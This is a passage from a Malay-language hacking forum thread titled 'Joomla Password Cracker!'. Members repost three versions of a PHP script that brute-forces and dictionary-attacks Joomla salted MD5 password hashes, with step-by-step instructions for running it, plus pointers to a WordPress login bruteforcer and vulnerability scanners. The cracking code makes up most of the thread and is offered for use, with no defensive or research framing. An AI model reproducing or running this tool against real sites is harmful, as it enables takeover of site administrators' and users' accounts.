Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Joomla Password Cracker!
13-11-2011, 08:26 PM,
Post: #16
RE: Joomla Password Cracker!
ada sapa2 nak buat toturial??? heheh mcm best jerk ni
[Image: logo.png]
Reply
03-12-2011, 11:44 PM,
Post: #17
RE: Joomla Password Cracker!
(07-06-2010, 12:37 AM)Ahlspiess Wrote: Version 3:
- tambah dictionary attack - johnburn mintak GayFace

Cara2 untuk guna bende pelik ni

untuk linux
yum/apt-get install php-cli
simpan source code bende ni, sbg jbf.php
kemudian
php jbf.php

untuk windoz
http://my2.php.net/get/php-5.2.13-win32-...m/a/mirror pilih je mana2 yg berkenan dihati
simpan source code bende ni, sbg jbf.php
kemudian
php C:\jbf.php

bro link nk donlod tu da xblh donlod..upload blik bro..tq..
Reply
04-12-2011, 12:09 AM,
Post: #18
RE: Joomla Password Cracker!
(03-12-2011, 11:44 PM)newbieza Wrote:
(07-06-2010, 12:37 AM)Ahlspiess Wrote: Version 3:
- tambah dictionary attack - johnburn mintak GayFace

Cara2 untuk guna bende pelik ni

untuk linux
yum/apt-get install php-cli
simpan source code bende ni, sbg jbf.php
kemudian
php jbf.php

untuk windoz
http://my2.php.net/get/php-5.2.13-win32-...m/a/mirror pilih je mana2 yg berkenan dihati
simpan source code bende ni, sbg jbf.php
kemudian
php C:\jbf.php

bro link nk donlod tu da xblh donlod..upload blik bro..tq..

http://windows.php.net/download

;d
puas sudah menanam ubi, nenas juga dibeli orang, puas sudah aku berbakti, pengganas juga dipandang orang

Quote:A true warrior need blood on his sword; A true pirate never afraid to sail the red sea.
Reply
04-12-2011, 01:39 AM,
Post: #19
RE: Joomla Password Cracker!
Quote:http://windows.php.net/download

;d

tq 4 your quick respond bro..
Reply
04-12-2011, 02:49 AM,
Post: #20
RE: Joomla Password Cracker!
(13-11-2011, 08:19 PM)utpskiddy Wrote: cara run (dari terminal). Big Grin

dari terminal means dari linux ?
bukan dah ade ke kat atas tu ?

btw, kalo tanak guna php kucing.php, tambahkan line ni kat permulaan code:

Code:
#!/usr/bin/php -q

so jadi la camni:

Code:
#!/usr/bin/php -q

<?php

e("[+] --------------------------------------------------------------------------");
e("[+] Joomla Hash Bruteforcer, Oleh Ahlspiess.");
e("[+] Contoh:");
e("[+] Joomla hash:");
e("[+] eb1ba1ca399c58075540078149d56d7f:lNEz0eTNvrdrxJz9XZXGUiCOW7yf2gIr");
e("[+] --------------------------------------------------------------------------");
e("[+] Senarai Arahan: crack, exit");
e("[+] --------------------------------------------------------------------------");
$avail_cmd = array('crack', 'quit', 'exit', 'logout');
while(1)
    {
        fwrite(STDOUT, "\nsh-1337# ");
        $cmd = trim(fgets(STDIN));
        if(in_array($cmd, $avail_cmd))
            {
                ($cmd == 'exit') ? exit('exit') : $cmd();
            }
            else
            {
                e("-sh: ".$cmd.": Command Not Found");
            }
    }

function crack() {
$ver = array('y', 'n', 'Y', 'N');
$op = array('1', '2', '3', '4', '5', '6', '7', '8');
    fwrite(STDOUT, "\nHash-# ");
    $hash = trim(fgets(STDIN));
    e("[+] Option Char:   ");
    e("[+]       1 = a~z");
    e("[+]       2 = A~Z");
    e("[+]       3 = a~z, A~Z");
    e("[+]       4 = 0~9");
    e("[+]       5 = a~z, 0~9");
    e("[+]       6 = A~Z, 0~9");
    e("[+]       7 = a~z, A~Z, 0~9");
    e("[+]       8 = Dictionary Atk");
    fwrite(STDOUT, "Option-# ");
    $opt = trim(fgets(STDIN));
    if($opt != 8)
        {
            fwrite(STDOUT, "Min-Pass-Length-# ");
            $minpass = trim(fgets(STDIN));
            fwrite(STDOUT, "Max-Pass-Length-# ");
            $maxpass = trim(fgets(STDIN));
        }
        else
        {
            fwrite(STDOUT, "Dictionary-# ");
            $wordlist = trim(fgets(STDIN));
        }
    fwrite(STDOUT, "Verbose(y/n)-# ");
    $verbose = trim(fgets(STDIN));
    $verbose = (!in_array($verbose, $ver)) ? 'n' : $verbose;
    $opt = (!in_array($opt, $op)) ? '1' : $opt;

$a = explode(':', $hash);
$md5 = $a[0];
$salt = $a[1];
($opt == 8) ? dictatk($md5, $salt, $wordlist, $verbose) : mulakan_operasi($md5, $salt, $opt, $minpass, $maxpass, $verbose);
}
function dictatk($md5, $salt, $wordlist, $verbose) {
$buka = @file_get_contents($wordlist) or die("Wordlist Not Found");
$pecah = explode("\n", $buka);
foreach($pecah as $word)
    {
        $word = str_replace(array("\n", "\r"), "", $word);
        ($verbose == 'n') ? cracking($md5, $salt, $word) : cracking_v($md5, $salt, $word);
    }
}
function mulakan_operasi($md5, $salt, $opt = 1, $minpass = 4, $maxpass = 5, $verbose = 'n') {
switch($opt)
    {
        case 1:
            $word = "abcdefghijklmnopqrstuvwxyz";
            break;
        case 2:
            $word = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
            break;
        case 3:
            $word = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
            break;
        case 4:
            $word = "0123456789";
            break;
        case 5:
            $word = "abcdefghijklmnopqrstuvwxyz0123456789";
            break;
        case 6:
            $word = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
            break;
        case 7:
            $word = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
            break;
    }
brute($md5, $salt, $word, $minpass, $maxpass, $verbose);
}
function brute($md5, $salt, $word, $minpass, $maxpass, $verbose) {
while(1)
    {
        $genword = str_shuffle($word);
        $genword = substr($genword, 0, rand($minpass, $maxpass));
        ($verbose == 'n') ? cracking($md5, $salt, $genword) : cracking_v($md5, $salt, $genword);
    }
}
function cracking_v($md5, $salt, $genword) {
    $genhash = md5($genword.$salt);
    e("[+] Testing ".$genword."");
    if($genhash == $md5)
        {
            e("[+] --------------------------------------------------------------------------");
            e("[+] Found Password: ".$genword."");
            e("[+] --------------------------------------------------------------------------");
            exit("done");
        }
}
function cracking($md5, $salt, $genword) {
    $genhash = md5($genword.$salt);
    if($genhash == $md5)
        {
            e("[+] --------------------------------------------------------------------------");
            e("[+] Found Password: ".$genword."");
            e("[+] --------------------------------------------------------------------------");
            exit("done");
        }
}
function e($z) {
    print $z."\n";
}
function quit() {
    exit('quit');
}
function logout() {
    exit('logout');
}

?>

pastu, kena jadikan file php tu executable:

Code:
chmod +x kucing.php

untuk run:

Code:
./kucing.php

GayFace
[Image: sigkucing.png]

Kucing dalam gambar di atas adalah dari spesis Munchkin.

URL dibawah pula, tiada kena mengena langsung dengan kucing.

http://www.hotfloppy.tk/
[Image: debian-user-sig.png]
Reply
06-12-2011, 09:01 PM,
Post: #21
RE: Joomla Password Cracker!
sungguh ku xphm lgi..hehe..beginner la katakan..
Reply
06-12-2011, 09:31 PM,
Post: #22
RE: Joomla Password Cracker!
(04-12-2011, 02:49 AM)hotfloppy Wrote: dari terminal means dari linux ?
bukan dah ade ke kat atas tu ?

dah orang tanya, kita jawabkan je la lagi. GayFace

tak semestinya dari linux, aku merujuk kepada CLI sebenarnya. terminal/cmd prompt tu. Smile
[Image: Fa91c.gif]
Reply
06-12-2011, 09:38 PM,
Post: #23
RE: Joomla Password Cracker!
(06-12-2011, 09:01 PM)newbieza Wrote: sungguh ku xphm lgi..hehe..beginner la katakan..

1. Download php untk windows= http://windows.php.net/download linux/unix= http://php.net/downloads.php atau "sudo apt-get install php5-cli"
2. Install
3. Copy soskod "Joomla Password Cracker!" dan pastekan kat notepad.
4. Save as anything.php.
5. buka cmd/terminal dan pergi ke directory yang ada file php tadi. (guna "cd")
6. dan taip "php anything.php"

:3
Reply
06-12-2011, 10:07 PM,
Post: #24
RE: Joomla Password Cracker!
(08-03-2010, 02:02 AM)Ahlspiess Wrote: Version 3:
PHP Code:
<?php

e
("[+] --------------------------------------------------------------------------");
e("[+] Joomla Hash Bruteforcer, Oleh Ahlspiess.");
e("[+] Contoh:");
e("[+] Joomla hash:");
e("[+] eb1ba1ca399c58075540078149d56d7f:lNEz0eTNvrdrxJz9XZXGUiCOW7yf2gIr");
e("[+] --------------------------------------------------------------------------");
e("[+] Senarai Arahan: crack, exit");
e("[+] --------------------------------------------------------------------------");
$avail_cmd = array('crack''quit''exit''logout');
while(
1)
    {
        
fwrite(STDOUT"\nsh-1337# ");
        
$cmd trim(fgets(STDIN));
        if(
in_array($cmd$avail_cmd))
            {
                (
$cmd == 'exit') ? exit('exit') : $cmd();
            }
            else
            {
                
e("-sh: ".$cmd.": Command Not Found");
            }
    }

function 
crack() {
$ver = array('y''n''Y''N');
$op = array('1''2''3''4''5''6''7''8');
    
fwrite(STDOUT"\nHash-# ");
    
$hash trim(fgets(STDIN));
    
e("[+] Option Char:   ");
    
e("[+]       1 = a~z");
    
e("[+]       2 = A~Z");
    
e("[+]       3 = a~z, A~Z");
    
e("[+]       4 = 0~9");
    
e("[+]       5 = a~z, 0~9");
    
e("[+]       6 = A~Z, 0~9");
    
e("[+]       7 = a~z, A~Z, 0~9");
    
e("[+]       8 = Dictionary Atk");
    
fwrite(STDOUT"Option-# ");
    
$opt trim(fgets(STDIN));
    if(
$opt != 8)
        {
            
fwrite(STDOUT"Min-Pass-Length-# ");
            
$minpass trim(fgets(STDIN));
            
fwrite(STDOUT"Max-Pass-Length-# ");
            
$maxpass trim(fgets(STDIN));
        }
        else
        {
            
fwrite(STDOUT"Dictionary-# ");
            
$wordlist trim(fgets(STDIN));
        }
    
fwrite(STDOUT"Verbose(y/n)-# ");
    
$verbose trim(fgets(STDIN));
    
$verbose = (!in_array($verbose$ver)) ? 'n' $verbose;
    
$opt = (!in_array($opt$op)) ? '1' $opt;

$a explode(':'$hash);
$md5 $a[0];
$salt $a[1];
(
$opt == 8) ? dictatk($md5$salt$wordlist$verbose) : mulakan_operasi($md5$salt$opt$minpass$maxpass$verbose);
}
function 
dictatk($md5$salt$wordlist$verbose) {
$buka = @file_get_contents($wordlist) or die("Wordlist Not Found");
$pecah explode("\n"$buka);
foreach(
$pecah as $word)
    {
        
$word str_replace(array("\n""\r"), ""$word);
        (
$verbose == 'n') ? cracking($md5$salt$word) : cracking_v($md5$salt$word);
    }
}
function 
mulakan_operasi($md5$salt$opt 1$minpass 4$maxpass 5$verbose 'n') {
switch(
$opt)
    {
        case 
1:
            
$word "abcdefghijklmnopqrstuvwxyz";
            break;
        case 
2:
            
$word "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
            break;
        case 
3:
            
$word "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
            break;
        case 
4:
            
$word "0123456789";
            break;
        case 
5:
            
$word "abcdefghijklmnopqrstuvwxyz0123456789";
            break;
        case 
6:
            
$word "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
            break;
        case 
7:
            
$word "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
            break;
    }
brute($md5$salt$word$minpass$maxpass$verbose);
}
function 
brute($md5$salt$word$minpass$maxpass$verbose) {
while(
1)
    {
        
$genword str_shuffle($word);
        
$genword substr($genword0rand($minpass$maxpass));
        (
$verbose == 'n') ? cracking($md5$salt$genword) : cracking_v($md5$salt$genword);
    }
}
function 
cracking_v($md5$salt$genword) {
    
$genhash md5($genword.$salt);
    
e("[+] Testing ".$genword."");
    if(
$genhash == $md5)
        {
            
e("[+] --------------------------------------------------------------------------");
            
e("[+] Found Password: ".$genword."");
            
e("[+] --------------------------------------------------------------------------");
            exit(
"done");
        }
}
function 
cracking($md5$salt$genword) {
    
$genhash md5($genword.$salt);
    if(
$genhash == $md5)
        {
            
e("[+] --------------------------------------------------------------------------");
            
e("[+] Found Password: ".$genword."");
            
e("[+] --------------------------------------------------------------------------");
            exit(
"done");
        }
}
function 
e($z) {
    print 
$z."\n";
}
function 
quit() {
    exit(
'quit');
}
function 
logout() {
    exit(
'logout');
}

?>

Version 2:
PHP Code:
<?php

print "[+] --------------------------------------------------------------------------\n";
print 
"[+] Joomla Hash Bruteforcer, Oleh Ahlspiess.\n";
print 
"[+] Contoh:\n";
print 
"[+] Joomla hash:\n";
print 
"[+] eb1ba1ca399c58075540078149d56d7f:lNEz0eTNvrdrxJz9XZXGUiCOW7yf2gIr\n";
print 
"[+] --------------------------------------------------------------------------\n";
print 
"[+] Senarai Arahan: crack, exit\n";
print 
"[+] --------------------------------------------------------------------------\n";
$avail_cmd = array('crack''help''quit''exit''logout');
while(
1)
    {
        
fwrite(STDOUT"\nsh-1337# ");
        
$cmd trim(fgets(STDIN));
        if(
in_array($cmd$avail_cmd))
            {
                if(
$cmd == 'exit') { die('exit'); }
                
$cmd();
            }
            else
            {
                print 
"-sh: ".$cmd.": Command Not Found\n";
            }
    }

function 
crack() {
$ver = array('y''n''Y''N');
$op = array('1''2''3''4''5''6''7');
    
fwrite(STDOUT"\nHash-# ");
    
$hash trim(fgets(STDIN));
    print 
"[+] Option Char:   \n";
    print 
"[+]       1 = a~z\n";
    print 
"[+]       2 = A~Z\n";
    print 
"[+]       3 = a~z, A~Z\n";
    print 
"[+]       4 = 0~9\n";
    print 
"[+]       5 = a~z, 0~9\n";
    print 
"[+]       6 = A~Z, 0~9\n";
    print 
"[+]       7 = a~z, A~Z, 0~9\n";
    
fwrite(STDOUT"Option-# ");
    
$opt trim(fgets(STDIN));
    
fwrite(STDOUT"Min-Pass-Length-# ");
    
$minpass trim(fgets(STDIN));
    
fwrite(STDOUT"Max-Pass-Length-# ");
    
$maxpass trim(fgets(STDIN));
    
fwrite(STDOUT"Verbose(y/n)-# ");
    
$verbose trim(fgets(STDIN));
    if(!
in_array($verbose$ver))
        {
            
$verbose 'n';
        }
        else
        {
            
$verbose $verbose;
        }
    if(!
in_array($opt$op))
        {
            
$opt '1';
        }
        else
        {
            
$opt $opt;
        }

$a explode(':'$hash);
$md5 $a[0];
$salt $a[1];
mulakan_operasi($md5$salt$opt$minpass$maxpass$verbose);
}

function 
mulakan_operasi($md5$salt$opt 1$minpass 4$maxpass 5$verbose 'n') {
switch(
$opt)
    {
        case 
1:
            
$word "abcdefghijklmnopqrstuvwxyz";
            break;
        case 
2:
            
$word "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
            break;
        case 
3:
            
$word "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
            break;
        case 
4:
            
$word "0123456789";
            break;
        case 
5:
            
$word "abcdefghijklmnopqrstuvwxyz0123456789";
            break;
        case 
6:
            
$word "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
            break;
        case 
7:
            
$word "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
            break;
    }
while(
1)
    {
        
$genword str_shuffle($word);
        
$genword substr($genword0rand($minpass$maxpass));
        (
$verbose == 'n') ? cracking($md5$salt$genword) : cracking_v($md5$salt$genword);
    }
}

function 
cracking_v($md5$salt$genword) {
    
$genhash md5($genword.$salt);
    print 
"[+] Testing ".$genword."\n";
    if(
$genhash == $md5)
        {
            print 
"[+] --------------------------------------------------------------------------\n";
            print 
"[+] Found Password: ".$genword."\n";
            print 
"[+] --------------------------------------------------------------------------\n";
            exit;
        }
}
function 
cracking($md5$salt$genword) {
    
$genhash md5($genword.$salt);
    if(
$genhash == $md5)
        {
            print 
"[+] --------------------------------------------------------------------------\n";
            print 
"[+] Found Password: ".$genword."\n";
            print 
"[+] --------------------------------------------------------------------------\n";
            exit;
        }
}
function 
__($z) {
    print 
$z."\n";
}

function 
quit() {
    exit(
'quit');
}
function 
logout() {
    exit(
'logout');
}

?>

Version 1:
PHP Code:
<?php

print "[+] --------------------------------------------------------------------------\n";
print 
"[+] Joomla Password Cracker, created by Ahlspiess.\n";
print 
"[+] Contoh:\n";
print 
"[+] Joomla password yang diencrypt:\n";
print 
"[+]          eb1ba1ca399c58075540078149d56d7f:lNEz0eTNvrdrxJz9XZXGUiCOW7yf2gIr\n";
print 
"[+]\n";
print 
"[+] Md5 hash: eb1ba1ca399c58075540078149d56d7f\n";
print 
"[+] Salt: lNEz0eTNvrdrxJz9XZXGUiCOW7yf2gIr\n";
print 
"[+] --------------------------------------------------------------------------\n";
print 
"[+] --------------------------------------------------------------------------\n";

fwrite(STDOUT"[+] Md5 Hash: ");
$hash trim(fgets(STDIN));
fwrite(STDOUT"[+] Salt: ");
$salt trim(fgets(STDIN));
fwrite(STDOUT"[+] Wordlist: ");
$wordlist trim(fgets(STDIN));
print 
"[+] --------------------------------------------------------------------------\n";

if(empty(
$hash) or empty($salt) or empty($wordlist))
    {
        print 
"[+] Semak balik, ada yang tertinggal tu\n";
        print 
"[+] --------------------------------------------------------------------------\n";
        exit;
    }
if(!@
file_exists($wordlist))
    {
        print 
"[+] File wordlist tidak dijumpai.\n";
        print 
"[+] --------------------------------------------------------------------------\n";
        exit;
    }

$buka = @file_get_contents($wordlist);
$pecah explode("\n"$buka);
$kira count($pecah);
print 
"[+] ".$kira." Didalam file wordlist!\n";
print 
"[+] --------------------------------------------------------------------------\n";
foreach(
$pecah as $wordz)
    {
        
$wordz str_replace(array("\n""\r"), ""$wordz);
        
BuatHash($hash$salt$wordz);
    }

function 
BuatHash($target$salt$word) {
$genhash md5($word.$salt);
if(
$genhash == $target)
    {
        print 
"[+] --------------------------------------------------------------------------\n";
        print 
"[+] Found Password: ".$word."\n";
        print 
"[+] --------------------------------------------------------------------------\n";
        exit;
    }
    else
    {
        print 
"[+] Testing: ".$word.":".$genhash."\n";
    }
}
?>

Ok go

guna untuk wordpress leh tak
Angry

sharing your knowledge to grow your knowledge...

and the knowledge is life not death
Reply
06-12-2011, 10:17 PM, (This post was last modified: 06-12-2011, 10:18 PM by utpskiddy.)
Post: #25
RE: Joomla Password Cracker!
(06-12-2011, 10:07 PM)rozalman Wrote: guna untuk wordpress leh tak

ahl ada buat skrip untuk wordpress punya, ce cari.

EDIT:

tapi x silap aku tu skrip bukan untuk crack, untuk cari vulnerable je. hehe. Smile
[Image: Fa91c.gif]
Reply
06-12-2011, 10:30 PM,
Post: #26
RE: Joomla Password Cracker!
(06-12-2011, 10:17 PM)utpskiddy Wrote:
(06-12-2011, 10:07 PM)rozalman Wrote: guna untuk wordpress leh tak

ahl ada buat skrip untuk wordpress punya, ce cari.

EDIT:

tapi x silap aku tu skrip bukan untuk crack, untuk cari vulnerable je. hehe. Smile

Kalau nak cari vuln kat wordpress powered blog boleh guna wpPluginDetect - Wordpress Plugin Detection., kalau nak bruteforce login page wp, boleh guna Wordpress Login Bruteforcer
puas sudah menanam ubi, nenas juga dibeli orang, puas sudah aku berbakti, pengganas juga dipandang orang

Quote:A true warrior need blood on his sword; A true pirate never afraid to sail the red sea.
Reply
06-12-2011, 11:27 PM, (This post was last modified: 06-12-2011, 11:31 PM by newbieza.)
Post: #27
RE: Joomla Password Cracker!
(06-12-2011, 09:38 PM)Fakhru Wrote:
(06-12-2011, 09:01 PM)newbieza Wrote: sungguh ku xphm lgi..hehe..beginner la katakan..

1. Download php untk windows= http://windows.php.net/download linux/unix= http://php.net/downloads.php atau "sudo apt-get install php5-cli"
2. Install
3. Copy soskod "Joomla Password Cracker!" dan pastekan kat notepad.
4. Save as anything.php.
5. buka cmd/terminal dan pergi ke directory yang ada file php tadi. (guna "cd")
6. dan taip "php anything.php"

:3

tq bro coz bg nmpk lbih jhelas step nya..oh ya, klu jomla ni kena scan vul jgk ke?
Reply
07-12-2011, 01:56 AM,
Post: #28
RE: Joomla Password Cracker!
(06-12-2011, 11:27 PM)newbieza Wrote:
(06-12-2011, 09:38 PM)Fakhru Wrote:
(06-12-2011, 09:01 PM)newbieza Wrote: sungguh ku xphm lgi..hehe..beginner la katakan..

1. Download php untk windows= http://windows.php.net/download linux/unix= http://php.net/downloads.php atau "sudo apt-get install php5-cli"
2. Install
3. Copy soskod "Joomla Password Cracker!" dan pastekan kat notepad.
4. Save as anything.php.
5. buka cmd/terminal dan pergi ke directory yang ada file php tadi. (guna "cd")
6. dan taip "php anything.php"

:3

tq bro coz bg nmpk lbih jhelas step nya..oh ya, klu jomla ni kena scan vul jgk ke?

Kena scan klau ada install thirdparty software/extension kot. Smile
http://www.kenahack.com/2011/10/hack-web...oomla.html
Reply
07-12-2011, 02:58 AM,
Post: #29
RE: Joomla Password Cracker!
mintak maaf saya nk bertanya berkenaan compile
adakah sama jenis execute kalau guna:

Code:
chmod +x jomla.php

Code:
chmod 744 jomla.php

Code:
chmod u+x jomla.php

kalau nk compile C lak kena pakai (contoh):
gcc jomla.c -o jomla.out

adakah function nye berlainan?? o.O
Reply
07-12-2011, 06:17 AM,
Post: #30
RE: Joomla Password Cracker!
php guna interpreter, tak perlu compile. cuma chmod +x on unixes and you're good to go.

  ▲
▲ ▲
Spoiler:

surah Ali Imran Ayat 31

Reply


Possibly Related Threads...
Thread Author Replies Views Last Post
  Password Forensics [+] Codeshift3r 18 3,090 21-04-2012, 10:14 PM
Last Post: Ujang

Forum Jump: